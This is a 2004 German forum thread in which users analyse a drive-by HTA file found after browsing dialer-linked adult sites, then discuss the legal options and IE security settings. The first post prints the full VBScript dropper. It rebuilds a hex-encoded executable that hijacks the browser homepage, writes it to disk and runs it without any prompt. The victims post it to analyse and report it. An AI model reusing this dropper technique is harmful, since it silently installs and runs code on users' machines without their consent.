# Internet Explorer Loch? Download SetHomepage.exe



## TSCoreNinja (22 Januar 2004)

Liebe Forenmitglieder,

bei Nachforschungen zu meinem Lieblingsdialer (mehr demnaechst), bin ich von einem Webportal aus Richtung Erwachsenenunterhaltung gesurft.
Interessanterweise sind die Endpunkte von etlichen Redirects browserabhaengig. Bei Verwendung eines IE 5.5  begegnete mir neben 3 Dialern etwas, was mir ziemlich zu denken gibt. Auf einmal war eine Datei SetHomepage.exe im Hauptverzeichnis C:\
Blick in die History unter "Temporary Internet Files" offenbarte ein seltsames VBS Script (Visual BasicScript?), das offensichtlich dafuer verantwortlich ist. Text steht weiter unten. Soll dies so klappen? Darf dies klappen, stehen beim Browser die Sicherheitseinstellungen falsch? Ich war davon ausgegangen, Downloads von EXE Dateien muessten immer bestaetigt werden.

An die Juristen unter Euch, reicht dies fuer Anzeige Datenveraenderung, §hastenichtgesehen STGB?

Gruss,
TSCoreNinja


Anhang: fullservice.hta
<title></title> 
<script language=vbs> 

self.moveto 5000,5000

dim v(34) 


v(0)="4d,5a,90,y,03,y,y,y,04,y,y,y,z,z,y,y,b8,y,y,y,y,y,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(1)=",y,d0,y,y,y,0e,1f,ba,0e,y,b4,09,cd,21,b8,01,4c,cd,21,54,68,69,73,20,70,72,6f,67,72,61,6d,20,63,61,6e,6e,6f,74,20,62,65,20,72,75,6e,20,69,6e,20,44,4f,53,20,6d,6f,64,65,2e,0d" 
v(2)=",0d,0a,24,y,y,y,y,y,y,y,0d,26,56,df,49,47,38,8c,49,47,38,8c,49,47,38,8c,b3,64,21,8c,4c,47,38,8c,49,47,39,8c,4d,47,38,8c,b3,63,25,8c,48,47,38,8c,b3,63,05,8c,48,47,38,8c,52,69" 
v(3)=",63,68,49,47,38,8c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,50,45,y,y,4c,01,02,y,dd,d3,81,3d,y,y,y,y,y,y,y,y,e0,y,0f,01,0b,01,07,y,y" 
v(4)=",02,y,y,y,02,y,y,y,y,y,y,y,10,y,y,y,10,y,y,y,20,y,y,y,y,40,y,y,10,y,y,y,02,y,y,04,y,y,y,y,y,y,y,04,y,y,y,y,y,y,y,y,30,y,y,y,04,y,y" 
v(5)=",y,y,y,y,02,y,y,y,y,y,10,y,y,10,y,y,y,y,10,y,y,10,y,y,y,y,y,y,10,y,y,y,y,y,y,y,y,y,y,y,f0,20,y,y,3c,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(6)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,20,y,y,1c,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(7)=",y,y,y,y,y,y,y,y,y,y,y,20,y,y,18,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,2e,74,65,78,74,y,y,y,a0,y,y,y,y,10,y,y,y" 
v(8)=",02,y,y,y,04,y,y,y,y,y,y,y,y,y,y,y,y,y,y,20,y,y,60,2e,72,64,61,74,61,y,y,ec,01,y,y,y,20,y,y,y,02,y,y,y,06,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(9)=",40,y,y,40,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(10)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(11)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(12)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(13)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(14)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(15)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(16)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(17)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,51,53,56,8b,35,y,20,40,y,57,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,c4,20,40,y,68,01,y,y,80,z,d6,85,c0,8b,3d,08" 
v(18)=",20,40,y,8b,1d,04,20,40,y,75,1e,8b,4c,24,0c,6a,1b,68,3c,20,40,y,6a,01,6a,y,68,b8,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,8d,44,24,0c,50,68,3f,y,0f,y,6a,y,68,8c,20,40,y,68" 
v(19)=",02,y,y,80,z,d6,85,c0,75,1d,8b,4c,24,0c,6a,24,68,58,20,40,y,6a,01,50,68,7c,20,40,y,51,z,d7,8b,54,24,0c,52,z,d3,6a,y,z,15,10,20,40,y,5f,5e,5b,90,90,90,90,90,90,90,90,90" 
v(20)=",90,90,90,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(21)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(22)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(23)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(24)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(25)=",y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(26)=",y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,dd,d3,81,3d,y,y,y,y,02,y,y,y,4c,y,y,y,a0,21,y,y,a0,07" 
v(27)=",y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,y,y,y,68,74,74,70,3a,2f,2f,77,77,77,2e,73,74,61,72,74,73,65,69,74,65,2e,64,65,2f,73,65,61,72" 
v(28)=",63,68,62,61,72,y,y,53,65,61,72,63,68,41,73,73,69,73,74,61,6e,74,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72" 
v(29)=",5c,53,65,61,72,63,68,y,53,74,61,72,74,20,50,61,67,65,y,y,53,6f,66,74,77,61,72,65,5c,4d,69,63,72,6f,73,6f,66,74,5c,49,6e,74,65,72,6e,65,74,20,45,78,70,6c,6f,72,65,72,5c,4d,61" 
v(30)=",69,6e,y,y,y,3c,21,y,y,y,y,y,y,y,y,y,y,52,21,y,y,10,20,y,y,2c,21,y,y,y,y,y,y,y,y,y,y,90,21,y,y,y,20,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y" 
v(31)=",y,y,y,y,y,y,80,21,y,y,60,21,y,y,6e,21,y,y,y,y,y,y,44,21,y,y,y,y,y,y,ab,y,45,78,69,74,50,72,6f,63,65,73,73,y,4b,45,52,4e,45,4c,33,32,2e,64,6c,6c,y,y,c8" 
v(32)=",01,52,65,67,43,6c,6f,73,65,4b,65,79,y,f8,01,52,65,67,53,65,74,56,61,6c,75,65,45,78,41,y,y,e1,01,52,65,67,4f,70,65,6e,4b,65,79,45,78,41,y,41,44,56,41,50,49,33,32,2e,64,6c,6c" 
v(33)=",y,y,y,y,52,53,44,53,77,f2,e5,03,d5,4a,cd,4b,bc,65,a3,90,d8,17,76,cf,08,y,y,y,63,3a,5c,44,65,76,5c,50,72,6f,6a,65,63,74,73,5c,53,65,74,48,6f,6d,65,70,61,67,65,5c,52,65,6c" 
v(34)=",65,61,73,65,5c,53,65,74,48,6f,6d,65,70,61,67,65,2e,70,64,62,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y,y"
function res(x,y) 
	For k = 0 To UBound(v) 
		v(k) = Replace(v(k), x, y) 
	Next 
End Function 

res "z", "ff" 
res "y", "00" 

For m = 0 To UBound(v) 
	it = it & v(m) 
Next 


tmp = Split(it, ",") 

Set WshShell = CreateObject("WScript.Shell") 
Set WshEnv = WshShell.Environment("Process") 
pth = WshEnv("HOMEDRIVE") & WshEnv("HOMEPATH") & "\SetHomepage.exe" 

Set fso = CreateObject("Scripting.FileSystemObject") 

Set f = fso.CreateTextFile(pth, True) 
For i = 0 To UBound(tmp) 
	l = Len(tmp(i)) 
	b = Int("&H" & Left(tmp(i), 2)) 
	If l > 2 Then 
		r = Int("&H" & Mid(tmp(i), 3, l-2)) 
		For j = 1 To r 
		f.Write Chr(b) 
		Next 
	Else 
		f.Write Chr(b) 
	End If 
Next 
f.Close 
WshShell.run("""" & pth & """") 

self.close
</script>


----------



## Der Jurist (22 Januar 2004)

http://dejure.org/gesetze/StGB/303a.html

http://dejure.org/gesetze/StGB/303b.html

Ich vermute, dass § 303b StGB einschlägg ist, falls das Ding nicht noch andere Sachen macht.


----------



## Opfer (22 Januar 2004)

Hi

http://forum.computerbetrug.de/viewtopic.php?t=3710&postdays=0&postorder=asc&start=30

Hier schreibe ich bereits was das von dir beschriebene Script macht. Es sieht zwar ein bissel anders aus, aber ist das gleiche, also nicht wundern. Die EXE Datei wird also auf deiner Platte zusammengesetzt bzw. geschrieben und nicht als EXE downgeloadet.

Opfer


----------



## cicojaka (22 Januar 2004)

Bei einer Einwahl, genauer gesagt, vier direkt ineinander übergehenden Einwahlen, hat der Dialer ca. 15 Sekunden gebraucht, um eine Verbindung herzustellen. Es gab jedenfalls immer ein "Zeitfenster" mit jeweils 14-15 sek. ohne Abrechnung.


Wenn ich von den jeweiligen Einwahlzeitpunkten jeweils 15 Sekunden zurückrechne, gibt es folgende Dateien, die IMMER auftauchen: a)verschiedene Bilddateien, teilweise UPX-gepackt, die seltsam erscheinen und b) eine Datei wie die oben beschriebene

Ich kann gerne noch weitere Details zur Verfügung stellen, wenn jemand der Ansicht ist, dass dies irgendwelche Konsequenzen haben würde. Wenn nicht, ist es mir einfach zu viel Arbeit. Falls irgend jemand einen STRAFRECHTLICH relevanten Beweis für ein Fehlverhalten findet, bin ich dabei. Denn zivilrechtlich ist es eigentlich ganz einfach: Eine mail an den Inhalteanbieter und eine mail an den Abrechner auf der Telekom-Rechnung und die Sache ist erledigt. Warum das so ist, darüber habe ich mir lange den Kopf zerbrochen. Eine Antwort fand ich nicht. Ist wohl ein besonders kulanter Inhalteanbieter...


----------



## TSCoreNinja (22 Januar 2004)

Was das Script macht, ist mir relativ klar.
 Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste. 

Das Script belegt eindeutig, dass dies so nicht ist. In mienem Fall wird also die Datei SetHomepage.exe ausgefuehrt, die tatsaechlich nur die Homepage auf jenes Portal umbiegt. Theoretisch geht dies mit jedem anderen Executable,  bis hin zu "format C:" (braucht nicht mal den download... )

Ist dies eine Sicherheitsluecke? Oder User Error, weil ich die Sicherheitseinstellungen zu niedrig habe (sind die  Default Einstellungen)? Wenn Sicherheitsluecke, ist die bekannt? Gibt es einen Patch? 

entsetzte Gruesse,
TSCoreNinja


----------



## TSCoreNinja (22 Januar 2004)

*Bekannte Sicherheitsluecke*

Um mir selbst zu antworten, ja, die Luecke ist bekannt, und scheinbar kann jeder Vollidiot / Scriptkiddie dank oeffentlich verfuegbarer Programme das Loch ausnutzen, siehe http://www.nsclean.com/psc-exe2.html. Laeuft ueber sog. hta (html applications), googlen nach IE hta exploit liefert hinreichend Infos. Moral: Finger weg von IE. Wie sieht bei so etwas die juristische Seite aus? Nachdem die Polizei meine Anzeige wg 40EUR Dialergebuehren nicht wirklich ernst nahm, lachen die sich bestimmt  tot, wenn man so etwas anzeigt!? Ist ja nur die Homepage veraendert worden... Andererseits koennten die so ziemlich alles damit machen, und laut Opfer gibts ja daruaf basierende Dialer (siehe Link). 

Wer so etwas von einer Site bekommen hat (*.hta) u nachweisen kann, hat aber vermutlich ganz gute Chancen, finanzielle Forderungen anzufechten. 

Gruesse,
TScoreNinja


----------



## cicojaka (22 Januar 2004)

TSCoreNinja schrieb:
			
		

> ...die tatsaechlich nur die Homepage auf jenes Portal umbiegt...



Einspruch. Das mag harmlos aussehen, aber wenn das einen unerfahrenen user trifft (und v.a. TRAF), ist/war der schneller bei Internet Clearing (früher) bzw. Consul Info (z.B.: horoskope * li) als er schauen kann. Und kriegt ein Horror-skop... (?) Jedenfalls ist der entsprechende oder ein nahe verwandter dialer kürzlich von der RegTP kassiert worden.

Und dass eine Deinstallation des dialers genug übrig lässt, dass es nächstes Mal schneller geht, ist ja bekannt. Diese Startseite ist mit Sicherheit wichtig für das System des Betreibers... Startseite in .de (ehemals start-seite * com) ist ein wesentlicher Baustein und ist mühevoll gestaltet (inkl. google-links, dpa-Pressemeldungen usw.). Dieser Aufwand ist nicht zum Spass gemacht worden...

f.


----------



## Opfer (22 Januar 2004)

> Aufgrund der Telefonrechnung folgere ich, dass der Dialer ca. 15 Sekunden braucht, um eine Verbindung herzustellen



Oder der Dialer macht das absichtlich ! So könnte der Anbieter behaupten, der user hat die Internetverbindung selbständig getrennt, und danach manuell die neue Verbindung gestartet (würde die 15 Sekunden erklären).



> Was das Script macht, ist mir relativ klar.
> Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste.



Eben deswegen ist dieses Script ja da. Du lädst keine Datei runter. die Datei existiert nur in dieser Form (quasi in seine Hex-Codes zerlegt) auf der Seite, und durch das Script wird das wieder zusammengesetzt, bzw. auf die Platte geschrieben. Also lädst du nichts runter, ergo IE frägt nicht ob du was downloaden willst.

Opfer


----------



## cicojaka (22 Januar 2004)

> Was das Script macht, ist mir relativ klar.
> Eher interessant ist fuer mich, ob das VBScript funkionieren duerfte. Ich kenne mich nicht wirklich mit dem IE/MicroSchrott aus, und war davon ausgegangen, dass ich das Downloaden/Ausfuehren von .exe Dateien bestaetigen muesste.



Noch was dazu: Das Ändern der Startseite wird eindeutig VORHER ANGEKÜNDIGT. Allerdings sieht man das nur dann, wenn man die unleserlichen AGBs anschaut ODER beim Bestätigen des Sicherheitszertifikates genau nachliest. Das widerspricht meines Erachtens der "geschäftsüblichen Praxis" und dürfte meines Erachtens nicht ausreichend sein, um alles juristisch abzusegnen. Ich fürchte aber, dass jemand, der eine Startseite wie diese hat, auch Juristen hat, die sich um solchen Kram kümmern.



> Eben deswegen ist dieses Script ja da. Du lädst keine Datei runter. die Datei existiert nur in dieser Form (quasi in seine Hex-Codes zerlegt) auf der Seite, und durch das Script wird das wieder zusammengesetzt, bzw. auf die Platte geschrieben. Also lädst du nichts runter, ergo IE frägt nicht ob du was downloaden willst.
> 
> Opfer



Weiss die RegTP von solchen Sachen? Dann MÜSSEN die doch gegen die Verantwortlichen vorgehen. Wie kann es das geben, dass die weiterhin abrechnen? Und selbst wenn sie heute 100mal regtp-konforme dialer HÄTTEN, was nach RegTP-Info fraglich zu sein scheint. Wie oft darf ein Anbieter eigentlich dem Rechtssystem auf der Nase rumspringen?

Und noch eine Frage: Warum ist diese Angelegenheit hier kein Thema, warum wird das hier nicht besprochen? Gibt es keine Betroffenen? Sind wir alle bescheuert? Ich kriege es nicht auf die Reihe, dass dieses Dingens in den Dialerforen seit Ewigkeiten bekannt (2002) ist und keiner was dazu zu sagen hat. Als Betroffener würde ich daraus schließen: Lieber zahlen, dieses Teil wird schon ok sein. Und das ist für mich das Problem. So. Emotionsanfall beendet


----------



## Devilfrank (22 Januar 2004)

Diese "Sicherheitslücke" ist in dem Sinn keine, sondern das ist vom BS her so vorgesehen. 
Natürlich kann diese Funktion mit genügend krimineller Energie auch für andere Zwecke einegsetzt werden. Genauso wie ActiveScripting, JavaScript und ActiveX.
Hervorgegangen sind diese Manipulationsmöglichkeiten ursprünglich aus der Viren- u. Trojanerszene. Deswegen gibt es dagegen auch Schutz. (s Screenshot)
In den meisten Fällen hilft schon die sichere Konfiguration des IE.
http://www.computerbetrug.de/sichern/ie_einl.php?p=0|55|56|


----------



## cicojaka (22 Januar 2004)

Devilfrank schrieb:
			
		

> Natürlich kann diese Funktion mit genügend krimineller Energie auch für andere Zwecke einegsetzt werden. Genauso wie ActiveScripting, JavaScript und ActiveX.
> Hervorgegangen sind diese Manipulationsmöglichkeiten ursprünglich aus der Viren- u. Trojanerszene. Deswegen gibt es dagegen auch Schutz. (s Screenshot)
> In den meisten Fällen hilft schon die sichere Konfiguration des IE.
> http://www.computerbetrug.de/sichern/ie_einl.php?p=0|55|56|



Aber was nützt das, wenn es schon passiert ist??? Es geht doch darum, einen möglichen *Computerbetrug*  :evil: nachweisen zu helfen. Oder irgendwie zivil- oder strafrechtliche Konsequenzen zu realisieren mit einer sinnvollen Nutzen-Risiko-Abwägung. Also: Dein 18jähriger sei Dir gegönnt, ich habe auch schon den Macallan ausgepackt. Aber ein bisschen mehr Info zum konkreten Fall würde ich mir wünschen  

:santa:

mit schlechtem Gewissen... in a way...

f.


----------



## Devilfrank (22 Januar 2004)

Es wird nicht einfach sein den Tatbestand des Computerbetrugs zu beweisen. In der Regel ist es ja nicht damit getan, die Datei zusammenzubauen, sondern meistens wird sie ja auch wieder automatisch entfernt.
Selbst wenn nicht, wird es schwer sein den ausschließlichen Zusammenhang zwischen dem Script und dem Dialer herzustellen. Zumindest nur unter hohem Aufwand (Gutachten usw.)


----------



## cicojaka (22 Januar 2004)

Hmm. Dann bleibt es bei Zivilrecht? Aber umsonst war es nicht, alles in dieser Sache zu sammeln. Und was meine Sammlungen wert sind, wird sich noch zeigen...

Immerhin hab ich hier langsam die größte Ehekrise wegen diesem Dialermist


----------



## Devilfrank (22 Januar 2004)

Hast Du Deine Holde mal hier reinschauen lassen?
Dann sollte sie sehen, dass es reichlich solche Fälle gibt.


----------



## cicojaka (22 Januar 2004)

nein, nein, es geht um die ZEIT die ich da reinstecke


----------



## TSCoreNinja (22 Januar 2004)

@ Devilfrank:
> Diese "Sicherheitslücke" ist in dem Sinn keine, sondern das ist vom BS her so vorgesehen. 

Ich komme aus der Linux Welt, mich hats nur ueber einen alten Rechner mit Win95 erwischt, den ich aus Faulheit nie umberuestet habe (mit IE u Opera, ungluecklicherweise hat meine Holde IE benutzt). Und da klassifiziert sich so etwas eindeutig als remote root exploit, und ist definitiv eine scheunentorartige Sicherheitsluecke. Denke nur an unaufaelligere Webseiten, die die Default-Plaetze von Homebankng Software Dateien abfragen. Siehe http://www.guninski.com/javaea.html
"IE 5.5/Outlook security vulnerability - com.ms.activeX.ActiveXComponent allows executing arbitrary programs Risk: High Date: 5 October 2000
Damals scheinbar (wenn ich das richtig verstehe) gab es keine Moeglichkeit, das zu verhindern.(siehe http://www.nsclean.com/psc-htas.html) Und scheint auch heute noch zu funkionieren, wenn der hta Service vorher gestartet wurde durch ein lokales Programm. 

@alle
Das man etwas dagegen tun kann, ist wenigstens halbwegs beruhigend, aber wieviele Leute surfen noch mit aehnlich alten Browsern wie meinem (IE5.5 von einer Installation von Mai 2001) , und aendern die Einstellungen nicht. Sollte denen zu denken geben (leider denken die, die dies lesen, vermutlich eh schon 

Und das Vergehen sehe ich derzeit auch nicht unter Computerbetrug §263a StGB, sondern unter §303a/b, naemlich Datenveraenderung/Computersabotage, zumindest versuchter. Computerbetrug wird es erst, wenn dies in Zusammenhang mit einem Dialerdownload benutzt wird, und Kosten unwissentlich entstanden sind (bei mir definitv nicht der Fall).

Ausserdem zeigt es, dass diese Leute
a. fit und auf der Hoehe der Technik sind
b. dies schamlos zu ihren Gunsten ausnutzen
(dazu kann ich nur sagen, dass die Links direkt nicht funkionieren, sondern nur in der richtigen Sequenz der Umleitungen. Mehr evt demnaechst mal. Insbesondere erfreuen mich URLs mit Inhalten wie agb=true und xdial=false (xdial=true schaltet in mir vorliegendem Javascript die Einwahlaufforderung ab). Scheinbar hatte ich bisher Glueck, dass ich noch nicht die Links mit agb=false und xdial=true aufgerufen hatte. 

@fischchen: "nur auf die Homepage umgeleitet" war in umschreibung der "offiziellen" Reaktion auf meine Strafanzeige  Aber Du hast in einer Hinsicht unrecht, dass aendern der Homepage war bei mir nicht angekuendigt, und vor der Bestaetigung eines Dialerdownloads. Ausserdem viel Glueck mit der Holden, da ist das Herumaergern mit Telekom und Rechtsfirmen richtig angenehm... 

Gute Nacht erstmals an alle,
TSCoreNinja


----------



## Der Genervte (23 Januar 2004)

@TSCoreNinja

Sorry, aber das nervt langsam!

In Punkto Sicherheit unterscheiden sich weder die Betriebssysteme noch die Browser von einander.

Wo ein Weg raus führt, führt auch immer einer rein!

Die Unterschiede liegen nur 
1) im Nutzerverhalten: Linux-User sind überwiegend nicht mir root angemeldet, Microsoft-Verarschte standardmäßig leider als Admin.
2) Microschrottsysteme sind die verbreitetsten. Deswegen werden Angriffe fast ausschließlich gegen Windowssysteme gefahren.

Falls Linux sich bei Heimanwendern endlich irgendwann durchgesetzt hat, wird es für einige 'Idealisten' ein böses Erwachen geben.


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> Die Unterschiede liegen nur
> 1) im Nutzerverhalten: Linux-User sind überwiegend nicht mir root angemeldet, Microsoft-Verarschte standardmäßig leider als Admin.



Das sogenannte "Sicherheitskonzept" :wall:  von Windows hilft nicht die Bohne gegen Dialer, auch 
wenn der User sich nicht als Admin anmeldet -


----------



## Der Genervte (23 Januar 2004)

@technofreak

Das "Sicherheitskonzept" soll ja auch nur die Zugriffmöglichkeiten einschränken (Progs, Scripte,....). Über die "Güte" braucht man sich nicht zu unterhalten.

Für Dialer war eher der Punkt 2 gedacht.

Da ich aber annehme, das es Dir aus Deiner Kenntnis bewußt ist, grübel ich noch etwas, was Du mit dem Posting mir sagen wolltest ....   :gruebel:


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> , grübel ich noch etwas, was Du mit dem Posting mir sagen wolltest ....   :gruebel:



Ebenso grübelte ich darüber was das das Einlogverhalten unter Linux im Vergleich zu Windows ausdrücken sollte.

Die Rechteverwaltung unter Windows ist eine Schönwetterverwaltung, wenn die Programme 
sich an Billy Boys Verschriften halten, kann es funktionieren, muß aber nicht, Linux dagegen als Abkömmling 
eines  wesentlich älteren BS nämlich Unix, das aber vom ersten Moment  Anfang der 70er 
bereits eine  funktionierende Rechteverwaltung besaß. Schließlich wurde das Arpanet als
 Vorläufer des heutigen Internet fast ausschließlich auf Unix-Rechnern eingesetzt.
Damit sind Vergleiche in Bezug  auf das Userverhalten ziemlich witzlos, weil Windows ohnhin 
keine echte Struktur wie Unix besitzt,  sondern ein einziger Flickenteppich ist . 
http://tutorials.beginners.co.uk/read/id/294

http://goethe.ira.uka.de/seminare/grk/geschichte/


----------



## Der Genervte (23 Januar 2004)

@Technofreak

Mit dem "Wetterdienst" bei Windows gebe ich Dir Recht. ProzessID 0/1 und man ist der 'liebe Gott' (oder der Teufel).

Was Deine Einschätzung von Linux/Unix betrifft, habe ich eine andere Meinung. JEDES BS hat seine Schwachstellen. Denke mal zurück, als BillyBoy noch in seiner Garage am tippen war. Das war die Zeit, als über Akustikkoppler Unix-Server gehackt wurden, um ans 'große Netz' zu kommen. Und auch die heutigen Systeme haben genauso ihre Schwachstellen. Nur durch die - noch - geringe Verbreitung sind sie uninteressant für Viren, Trojaner, Dialer,......

Wenn Linux im privaten Bereich erst einmal 15-20% erreicht hat, werden wir auch mehr über Schadprogramme hören - und 'Idealisten' aufhören zu träumen.

Wo ein Weg raus führt, führt auch IMMER ein Weg hinein.


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> JEDES BS hat seine Schwachstellen.



da geb ich dir recht, aber der große Unterschied ist, die Entwickler kümmern sich drum, was man bei 
WinzigWeich nicht den Eindruck hat, da geht es immer erst in in vorderster Linie um "Featuritis"
 und erst ganz zum Schluß, eventell, vielleicht, unter Druck um Sicherheit . 

Was den Einsatz im Privatbereich betrifft, habe ich große Zweifel, als Webserver gibt es keine
 Frage was die bessere Wahl ist. Damit hier nicht der Eindruck entsteht ich wäre ein Linus-Fan,
 ich sehe sehr wohl die Vorteile  und Nachteile , und bei Linux ist der Nachteil, das keine  keine  echten
 User-Applikation  Standard-Programme gibt , das ist nun mal der Vorteil für den Anwender unter Windows. 

Außerdem schreibt jeder echte (L)unix-Fan und wenn er auch noch C programmieren kann
als erstes erst mal seinen eigenen Editor .....


----------



## Der Genervte (23 Januar 2004)

@technofreak

Da ich C nicht kann, und in Assembler mir zu umfangreich:

ein - wirklich - guter Emulator wäre förderlich.

Nicht diese Windoof-unter-Linux-Krüppel, sondern einer, der Windows-basierende Programme unter Linux stabiel lauffähig macht. 
Falls Du Kontakte hast - das könnte Linux fördern.


----------



## technofreak (23 Januar 2004)

Der Genervte schrieb:
			
		

> Nicht diese Windoof-unter-Linux-Krüppel, sondern einer, der Windows-basierende Programme unter Linux stabiel lauffähig macht.
> Falls Du Kontakte hast - das könnte Linux fördern.



Werd mich mal umhören, aber ich sehe das eher skeptisch...


----------



## Counselor (23 Januar 2004)

technofreak schrieb:
			
		

> Die Rechteverwaltung unter Windows ist eine Schönwetterverwaltung, wenn die Programme sich an Billy Boys Verschriften halten, kann es funktionieren, muß aber nicht, Linux dagegen als Abkömmling eines  wesentlich älteren BS nämlich Unix, das aber vom ersten Moment  Anfang der 70er bereits eine  funktionierende Rechteverwaltung besaß.


:vlol:

Nur mal zur Info:


bereits 1995 erfüllte Windows NT 3.51 die C2-Anforderungen des Pentagon
bereits 1996 erfolgte die ITSEC F-C2/E3 Ebene Zertifizierung
Windows 2000 SP3 wurde Ende Oktober 2002 C2-zertifiziert
Zum Umfang der Zertifizierungen

http://msdn.microsoft.com/library/d...en-us/security/security/c2_level_security.asp
http://www.cesg.gov.uk/


----------



## technofreak (23 Januar 2004)

Counselor schrieb:
			
		

> bereits 1995 erfüllte Windows NT 3.51 die C2-Anforderungen des Pentagon



das erklärt auch die Probleme der Amerikaner .....


----------



## Counselor (23 Januar 2004)

technofreak schrieb:
			
		

> Counselor schrieb:
> 
> 
> 
> ...



Die mit Linux, das diesen Anforderungen nicht entspricht, ehr größer wären. Oder glaubst du im Ernst, dass Linux sicher ist? Es ist ebenso verwundbar, wie jedes andere UNIX System.

Wenn Linux weiter verbreitet wäre, würden viele LINUX-Sicherheitsträume wie die Seifenblasen platzen ...

Vorab empfehle ich zum Lesen:
http://www.linuxsecurity.com/vuln-newsletter.html


----------



## Der Genervte (23 Januar 2004)

@Counselor

Ähhmm, eine Sicherheitsvorschrift zu erfüllen und im täglichen Einsatz wenigstens annähernd Schutz zu bieten sind zweierlei.
Nicht ohne Grund sind in den USA mitlerweile (fast absolut) alle Rechner mit sensieblen Daten nur noch im offlinebetrieb und zusätzlich biometrisch gesichert (auch knackbar, lol). Bedingt durch persönliche Beziehungen ist das fakt.


Noch hat Unix/Linux bedingt durch die geringe Verbreitung einen größeren Schutz (ScriptKiddys) - professionelle Spionage mal ausgenommen.


MS-Systeme haben nur einen wirklichen Vorsprung, sah man an der MIR:

Windows aufgespielt - planmäßig abgestürzt.


----------



## Devilfrank (23 Januar 2004)

Ich hasse zwar diese Pro-Contra-Diskussionen zu Windows/Linux, aber hier vielleicht mal eine interessante Lektüre dazu:
http://www.theinquirer.net/?article=13420


----------



